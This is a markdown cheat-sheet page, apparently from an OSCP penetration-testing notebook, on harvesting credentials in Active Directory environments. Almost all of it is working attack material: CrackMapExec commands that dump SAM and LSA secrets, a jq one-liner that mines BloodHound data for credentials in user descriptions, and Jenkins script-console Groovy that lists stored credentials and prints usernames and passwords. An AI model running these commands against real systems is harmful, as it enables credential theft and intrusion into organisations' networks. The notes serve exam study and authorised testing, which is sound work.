oscp/Necronomicon/Attacks/Active Directory/Credential Harvesting.md

• CrackMapExec
  • cme smb <target> –u ValidUser –p ValidPass --sam
    • Dumps the SAM file - local users only (not domain)
  • cme smb <target> –u ValidUser –p ValidPass --lsa
    • Dump LSA secrets from the registry - includes Domain Cached Credentials
• Checking BloodHound data for credentials in user descriptions
  • cat <bloodhound_user_json_file> | jq '.data[].Properties | select(.enabled == true) | .name + " " + .description'
• Extracting Jenkins credentials from script console

/* All Credentials */
import jenkins.*
import jenkins.model.* 
import hudson.*
import hudson.model.*
def jenkinsCredentials = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(
        com.cloudbees.plugins.credentials.Credentials.class,
        Jenkins.instance,
        null,
        null
);
for (creds in jenkinsCredentials) {
    println(jenkinsCredentials.id)
    }

/* Specific Credentials */
import jenkins.*
import jenkins.model.* 
import hudson.*
import hudson.model.*
def jenkinsCredentials = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(
        com.cloudbees.plugins.credentials.Credentials.class,
        Jenkins.instance,
        null,
        null
);
for (creds in jenkinsCredentials) {
  if(creds.id == "<credential_id>"){
    println(creds.<variable_name_suchas_username>)
    println(creds.<variable_name_suchas_password>)
    }
}